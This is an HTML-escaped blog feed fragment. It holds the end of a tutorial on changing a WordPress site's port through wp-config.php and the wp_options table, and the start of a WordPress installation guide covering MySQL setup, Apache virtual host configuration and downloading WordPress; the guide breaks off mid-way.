Update Port in Wordpress configuration file
&lt;a href="#update-port-in-wordpress-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;After configuring Apache to listen to another port, we need to configure Wordpress to use this new port in order to redirect the requests correctly.&lt;/p&gt;
&lt;p&gt;We can do this by updating the &lt;code&gt;WPSITE&lt;/code&gt; and &lt;code&gt;WPHOME&lt;/code&gt; properties in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Open &lt;code&gt;www/wordpress/wp-config.php&lt;/code&gt; and append the following lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;WPSITEURL&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;http://192.168.1.99:1280/&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;WPHOME&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;http://192.168.1.99:1280/&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After saving the changes, the new requests will ignore the values that are stored in the MySQL database and use these values defined here in the Wordpress configuration file.&lt;/p&gt;
&lt;p&gt;But this change is temporary, and in order to change these properties permanently, we have to edit these values in the MySQL database.&lt;/p&gt;
&lt;h2 id="update-port-in-mysql-database"&gt;
Update Port in MySQL database
&lt;a href="#update-port-in-mysql-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;WPSITE&lt;/code&gt; and &lt;code&gt;WPHOME&lt;/code&gt; properties we set earlier in the &lt;code&gt;wp-config.php&lt;/code&gt; file are stored as &lt;code&gt;siteurl&lt;/code&gt; and &lt;code&gt;home&lt;/code&gt; options, in the &lt;code&gt;wp_options&lt;/code&gt; table of the &lt;code&gt;wordpress&lt;/code&gt; database we have created for Wordpress in MySQL.&lt;/p&gt;
&lt;p&gt;We can see the values that they have with the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; wp_options &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; option_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;siteurl&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;OR&lt;/span&gt; option_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;home&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;-----------+-------------+---------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; option_id &lt;span style="color:#f92672"&gt;|&lt;/span&gt; option_name &lt;span style="color:#f92672"&gt;|&lt;/span&gt; option_value &lt;span style="color:#f92672"&gt;|&lt;/span&gt; autoload &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;-----------+-------------+---------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; home &lt;span style="color:#f92672"&gt;|&lt;/span&gt; http:&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;168&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;99&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; yes &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; siteurl &lt;span style="color:#f92672"&gt;|&lt;/span&gt; http:&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;168&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;99&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; yes &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;-----------+-------------+---------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;rows&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to update the &lt;code&gt;option_value&lt;/code&gt; field with the updated url with the new port (&lt;code&gt;port 1280&lt;/code&gt;), we have to run the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;use wordpress;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;update&lt;/span&gt; wp_options &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; option_value&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;http://192.168.1.99:1280&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;where&lt;/span&gt; option_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;siteurl&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;update&lt;/span&gt; wp_options &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; option_value&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;http://192.168.1.99:1280&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;where&lt;/span&gt; option_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;home&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now if we check the values again we can see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; wp_options &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; option_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;siteurl&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;OR&lt;/span&gt; option_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;home&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;-----------+-------------+--------------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; option_id &lt;span style="color:#f92672"&gt;|&lt;/span&gt; option_name &lt;span style="color:#f92672"&gt;|&lt;/span&gt; option_value &lt;span style="color:#f92672"&gt;|&lt;/span&gt; autoload &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;-----------+-------------+--------------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; home &lt;span style="color:#f92672"&gt;|&lt;/span&gt; http:&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;168&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;99&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;1280&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; yes &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; siteurl &lt;span style="color:#f92672"&gt;|&lt;/span&gt; http:&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;168&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;99&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;1280&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; yes &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;-----------+-------------+--------------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;rows&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.serverlab.ca/tutorials/linux/web-servers-linux/how-to-change-port-80-to-8080-for-wordpress/"&gt;How to change WordPress port 80 to 8080&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tecmint.com/change-apache-port-in-linux/"&gt;How to Change Apache HTTP Port in Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Wordpress Install</title><link>https://thanoskoutr.com/posts/wordpress-install/</link><pubDate>Fri, 18 Sep 2020 16:05:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/wordpress-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/wordpress-gray-white.png"/&gt;
&lt;p&gt;Wordpress Installation and Configuration Guide.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;
Prerequisites
&lt;a href="#prerequisites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Create a sudo user on your server&lt;/li&gt;
&lt;li&gt;Install a &lt;a href="https://thanoskoutr.com/posts/lamp-install/"&gt;LAMP stack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ssl-certificate/"&gt;Secure your site with SSL&lt;/a&gt; (can be done after)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="create-a-mysql-database-and-user-for-wordpress"&gt;
Create a MySQL Database and User for WordPress
&lt;a href="#create-a-mysql-database-and-user-for-wordpress" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Log in to a MySQL administrative account (root):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mysql -u root -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create wordpress database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DATABASE&lt;/span&gt; wordpress &lt;span style="color:#66d9ef"&gt;DEFAULT&lt;/span&gt; CHARACTER &lt;span style="color:#66d9ef"&gt;SET&lt;/span&gt; utf8 &lt;span style="color:#66d9ef"&gt;COLLATE&lt;/span&gt; utf8_unicode_ci;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create exclusive user for this database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;GRANT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ALL&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt; wordpress.&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TO&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;wordpressuser&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;@&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt; IDENTIFIED &lt;span style="color:#66d9ef"&gt;BY&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Flush the privileges so that the current instance of MySQL knows about the recent changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FLUSH &lt;span style="color:#66d9ef"&gt;PRIVILEGES&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Exit the MySQL shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="installing-additional-php-extensions"&gt;
Installing Additional PHP Extensions
&lt;a href="#installing-additional-php-extensions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Install some of the most popular PHP extensions for use with WordPress:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install php-curl php-gd php-mbstring php-xml php-xmlrpc php-soap php-intl php-zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="adjusting-apaches-configuration-to-allow-for-htaccess-overrides-and-rewrites"&gt;
Adjusting Apaches Configuration to Allow for .htaccess Overrides and Rewrites
&lt;a href="#adjusting-apaches-configuration-to-allow-for-htaccess-overrides-and-rewrites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="enabling-htaccess-overrides"&gt;
Enabling .htaccess Overrides
&lt;a href="#enabling-htaccess-overrides" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Create a configuration file in &lt;code&gt;/etc/apache2/sites-available/&lt;/code&gt; directory, that will allow &lt;code&gt;.htacess&lt;/code&gt; files
in &lt;code&gt;/var/www/wordpress&lt;/code&gt; (it will be the root directory of our wordpress installation):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/apache2/sites-available/wordpress.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add the following, changing the fields with &lt;code&gt;yourdomain.com&lt;/code&gt; and &lt;code&gt;www.yourdomain.com&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-apacheconf" data-lang="apacheconf"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;VirtualHost&lt;/span&gt; &lt;span style="color:#e6db74"&gt;*:80&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ServerAdmin webmaster@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; DocumentRoot &lt;span style="color:#e6db74"&gt;/var/www/wordpress&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ServerName yourdomain.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ServerAlias www.yourdomain.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Directory&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/var/www/wordpress/&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; AllowOverride &lt;span style="color:#66d9ef"&gt;All&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ErrorLog ${APACHE_LOG_DIR}/error.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;Directory&lt;/code&gt; tag allows &lt;code&gt;.htacess&lt;/code&gt; files and the &lt;code&gt;VirtualHost&lt;/code&gt; tag,
creates a virtual host to be able to host multiple domains from a single server.&lt;/p&gt;
&lt;p&gt;When you are finished, save and close the file.&lt;/p&gt;
&lt;h3 id="enabling-the-rewrite-module"&gt;
Enabling the Rewrite Module
&lt;a href="#enabling-the-rewrite-module" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Next, we can enable &lt;code&gt;mod_rewrite&lt;/code&gt; so that we can utilize the WordPress permalink feature&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo a2enmod rewrite
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enabling-the-file"&gt;
Enabling the file
&lt;a href="#enabling-the-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo a2ensite wordpress.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="disabling-the-default-site"&gt;
Disabling the default site
&lt;a href="#disabling-the-default-site" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo a2dissite 000-default.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enabling-the-changes"&gt;
Enabling the Changes
&lt;a href="#enabling-the-changes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Make sure we don&amp;rsquo;t have syntax errors:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apache2ctl configtest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the output has a &lt;code&gt;AH00558&lt;/code&gt; message ignore it.
We only care about the SYNTAX OK message.&lt;/p&gt;
&lt;h3 id="restart-apache"&gt;
Restart Apache
&lt;a href="#restart-apache" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="downloading-wordpress"&gt;
Downloading WordPress
&lt;a href="#downloading-wordpress" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Download latest version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/Downloads
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -O https://wordpress.org/latest.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extract the compressed file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar xzvf latest.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cd in the extracted directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd wordpress
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create a dummy &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch .htacess
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Copy over the sample configuration file to the filename that WordPress actually reads:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp wp-config-sample.php wp-config.php
